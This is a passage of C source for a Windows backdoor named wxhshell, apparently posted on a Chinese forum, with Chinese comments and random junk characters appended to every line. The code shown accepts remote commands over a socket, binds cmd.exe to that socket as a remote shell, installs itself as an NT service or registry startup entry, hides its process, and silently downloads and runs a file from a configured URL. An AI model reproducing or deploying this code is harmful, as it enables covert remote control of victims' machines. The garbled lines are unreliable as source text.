  SiratkP9n7  
  // 帮助 RdTM5ANT  
  case '?': { i--t ?@#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x *eU~e_jP  
    break; ,fVD`RR(W?  
  } >gk_klLh  
  // 安装 Lx^ eaP5  
  case 'i': { /U~|B.z@6  
    if(Install()) \*xB<mq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /d8o*m'bu!  
    else X*8y"~X|vq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *v>ZE6CL  
    break; -u2i"I730  
    } n +~Dc[  
  // 卸载 m~ tvuz I  
  case 'r': { E7fx4kV  
    if(Uninstall()) `Lf'/q   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n|SV)92o1  
    else }h5i Tc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )+E[M!34  
    break; >qjV{M  
    } }]?Si6_ZZ  
  // 显示 wxhshell 所在路径 1 DWoL}Z  
  case 'p': { 157_0  
    char svExeFile[MAX_PATH]; \N>-+r  
    strcpy(svExeFile,"\n\r"); <B"sp r&1  
      strcat(svExeFile,ExeFile); (q> TKM  
        send(wsh,svExeFile,strlen(svExeFile),0); /0h *(nL  
    break; <j'V}|3  
    } K2x[ApS#  
  // 重启 kI\m0];KnQ  
  case 'b': { -Mt 5< s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [4Z 31v>  
    if(Boot(REBOOT)) XpQOl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S&op|Z)1  
    else { Ykbg5Z  
    closesocket(wsh); u2V-V#jS  
    ExitThread(0); *2'8d8>R%]  
    } K"}fD;3  
    break; t8Zo9q>  
    } ^NW[)Dq1<  
  // 关机 (B7G'h.?  
  case 'd': { 7io["zW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KhCP9(A=Qo  
    if(Boot(SHUTDOWN)) v<qh;2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '=\}dav!  
    else { h~MV=7 lE  
    closesocket(wsh); Y Y:Bw W:  
    ExitThread(0); f& 4_:'-,  
    } JE?p'77C  
    break; V|7YRa@  
    } L+%"e w  
  // 获取shell vh9* >[i  
  case 's': { =P- &dN  
    CmdShell(wsh); j =_rUc'Me  
    closesocket(wsh); !*IMWm>  
    ExitThread(0); ~}/Dl#9R!  
    break; wucdXj{%  
  } l.[pnLD  
  // 退出 CI|lJ  
  case 'x': { kmuksT\)a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "cH RGJG#  
    CloseIt(wsh); TBhM^\z  
    break; "q4tvcK.  
    } B{-7  
  // 离开 D7ex{SVA)  
  case 'q': { cH]tZ$E`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dn6B43w  
    closesocket(wsh); KWwtL"3  
    WSACleanup(); W+XWS,(  
    exit(1); 7\u+%i;YZ  
    break;  )vr@:PE  
        } j)1yv.  
  } uGKjZi  
  } e5h*GKF  
.u`[|: K  
  // 提示信息 q!K :N?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D-3[# ~MV  
} |Td+,>,  
  } 4DXbeQs:  
CU$kh z"  
  return; k15vs  
} :fRXLe1=  
\?:L>-&h8  
// shell模块句柄 -@uFRQ t  
int CmdShell(SOCKET sock) b^Hr zn  
{  idmU.`  
STARTUPINFO si; QbU5FPiN  
ZeroMemory(&si,sizeof(si)); B( [x8A]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yTaMlT|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -H1=N  
PROCESS_INFORMATION ProcessInfo; @WJ;T= L  
char cmdline[]="cmd"; I8F+Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ] !UYl  
  return 0; BT{;^Hp  
} J=V  
gmTBT#{6yH  
// 自身启动模式 \}-4(Xdaq  
int StartFromService(void) y)f.ON36I  
{ !`ol&QQ#  
typedef struct 1I Yip\:lS  
{ D+8d^-:  
  DWORD ExitStatus; w$gvgz  
  DWORD PebBaseAddress; p< R:[rz  
  DWORD AffinityMask; fBO/0uW  
  DWORD BasePriority; r4.6W[| d  
  ULONG UniqueProcessId; T&U}}iWN  
  ULONG InheritedFromUniqueProcessId; eK8H5YE  
}   PROCESS_BASIC_INFORMATION; e~h>b.~  
"SF0b jG9C  
PROCNTQSIP NtQueryInformationProcess; Y~~Dg?e  
9#LMK 1ge  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,OZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h\RX/C!+  
D6SUzI1+H  
  HANDLE             hProcess; |1tKQ0jg  
  PROCESS_BASIC_INFORMATION pbi; FU|brS t  
npP C;KD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !U`&a=k  
  if(NULL == hInst ) return 0; {N(qS'N  
zVhyAf  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _ %s#Cb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {%jAp11y+O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9rB3h`AVF  
I?KN7(9u?  
  if (!NtQueryInformationProcess) return 0; ~W'DEpq_  
D)*   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O5dS$[`j\p  
  if(!hProcess) return 0; <H[w0Z$  
\u=d`}E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `At.$3B  
2Gyq40  
  CloseHandle(hProcess); vz^ ] g  
R!VfTAv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LPs%^*8(2  
if(hProcess==NULL) return 0; J,a&"eOZ  
",r v%i2 f  
HMODULE hMod; G  hM  
char procName[255]; #h!+b  
unsigned long cbNeeded; c '|*{%<e2  
|jsI-?%8J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ktu?-?#0,  
RK# 6JfC3X  
  CloseHandle(hProcess); !E70e$Th  
B`pBIUu  
if(strstr(procName,"services")) return 1; // 以服务启动 cJKnB!iL5  
N,t9X7G&  
  return 0; // 注册表启动 +)jUA]hJ/  
} F)P:lvp<r  
QE]@xLz   
// 主模块 l;F"m+B!$  
int StartWxhshell(LPSTR lpCmdLine) ZvY"yl?e  
{ ,%i Scr,z  
  SOCKET wsl; T2{e 1 =Z7  
BOOL val=TRUE; V:0IBbh)w  
  int port=0; t]c<HDCK  
  struct sockaddr_in door; YOxgpQ:i  
cS&KD@.  
  if(wscfg.ws_autoins) Install(); O7.V>7Y9H  
UlXm4\@  
port=atoi(lpCmdLine); 9~ p;iiKGG  
EPo)7<|>  
if(port<=0) port=wscfg.ws_port; Z bRRDXk!  
)1<0c@g=  
  WSADATA data; PW*Vfjf4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x;ik   
K'OG-fn;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'CBwE&AL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~tUZQ5"  
  door.sin_family = AF_INET; pj'gTQ),0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y;af|?U*6:  
  door.sin_port = htons(port); KFM[caKeJO  
q 4BXrEOw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &+9 ;  
closesocket(wsl); ]dycesc'  
return 1; xvGYd,dlK  
} z/Lb1ND8  
* :"*'  
  if(listen(wsl,2) == INVALID_SOCKET) { hV3]1E21"  
closesocket(wsl); ]4rmQAS7"  
return 1; Q`CuZkP(  
} 3G// _f  
  Wxhshell(wsl); b[vE!lJEq  
  WSACleanup(); Rtf<UhUn  
q/U-WQ<+  
return 0; F6{g{ B  
,#a4P`q'iC  
} +o+f\!  
f,YORJ  
// 以NT服务方式启动 vbJ<|#|r-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A-x^JC=  
{ 288mP]a(v_  
DWORD   status = 0; mF gqM:  
  DWORD   specificError = 0xfffffff; dJ"44Wu+J  
97c0bgI!+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =B&|\2`{)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (o>N*?, }  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @Y~gdK  
  serviceStatus.dwWin32ExitCode     = 0; Y XhZWo{B  
  serviceStatus.dwServiceSpecificExitCode = 0; 'O%*:'5k  
  serviceStatus.dwCheckPoint       = 0; HoBx0N9\2  
  serviceStatus.dwWaitHint       = 0; .M6. ]H  
GTs,?t16/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tmGhJZ2j  
  if (hServiceStatusHandle==0) return; GEPWb[Oa  
`n+uA ~  
status = GetLastError(); !&%KJS6p4  
  if (status!=NO_ERROR) c<13r=+  
{ kn#?+Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9WHE4'Sa  
    serviceStatus.dwCheckPoint       = 0; Ehy(;n)\  
    serviceStatus.dwWaitHint       = 0; ?M90K)&g{  
    serviceStatus.dwWin32ExitCode     = status; +kI}O*s  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6>?qBWW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qMaO1cE\  
    return; hC-uz _/3  
  } hu-]SGb6  
hl]d99Lc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1P]J3o  
  serviceStatus.dwCheckPoint       = 0; n%r>W^2j  
  serviceStatus.dwWaitHint       = 0; lG6&uMvo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lB}?ey   
} s.(.OXD&  
y9}qB:[bR  
// 处理NT服务事件,比如:启动、停止 f y|JE9Io_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hn.(pI1  
{ <B%wq>4S  
switch(fdwControl) j'*.=cwsp  
{ Ioe.[&o6B  
case SERVICE_CONTROL_STOP: ]xf89[;0  
  serviceStatus.dwWin32ExitCode = 0; \m`IgP*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ErN[maix#  
  serviceStatus.dwCheckPoint   = 0; ' !huU   
  serviceStatus.dwWaitHint     = 0; #h ud_  
  { ,):aU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _Q:ot'(~0-  
  } P]"@3Z&w  
  return; =Vh]{ y~$  
case SERVICE_CONTROL_PAUSE: OL1xxzo  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $7X;FmlG&  
  break; *Y1s4FXu2  
case SERVICE_CONTROL_CONTINUE: l|842N@1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ov" wcJ  
  break; %n]jsdE^|  
case SERVICE_CONTROL_INTERROGATE: !,- 'wT<v  
  break; zGe =l;  
}; fq1w <e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6l|L/Z_6  
} ?23J(;)s  
)^UqB0C6^  
// 标准应用程序主函数 yO-2.2h  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (muJ-~CJk  
{ '+_-r'2  
"P.sK huo  
// 获取操作系统版本  [6@bsXiw  
OsIsNt=GetOsVer(); Sw$&E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [1~3\-Y  
%B&O+~  
  // 从命令行安装 `-nSH)GBM  
  if(strpbrk(lpCmdLine,"iI")) Install(); bSM|"  
{? yRO]  
  // 下载执行文件 C\rT'!Uk\Q  
if(wscfg.ws_downexe) { ZyDf@(z`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DmoY],9I+p  
  WinExec(wscfg.ws_filenam,SW_HIDE); VK9E{~0=  
} bO6z;D#  
"-fyX!  
if(!OsIsNt) { &=zJ MGa  
// 如果时win9x,隐藏进程并且设置为注册表启动 0"-H34M <D  
HideProc(); 1`II%mf[  
StartWxhshell(lpCmdLine); SdufI_'B  
} K[SzE{5=P  
else ldG8hK  
  if(StartFromService()) HJr*\%D}1  
  // 以服务方式启动 w8>lWgN  
  StartServiceCtrlDispatcher(DispatchTable); d*!H&1L  
else I9TNUZq('  
  // 普通方式启动 =PU@'OG  
  StartWxhshell(lpCmdLine); wV-N\5!r%H  
?,v@H$)3_  
return 0; wPyc?:|KD?  
}
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只看该作者 1 发表于: 2006-10-10
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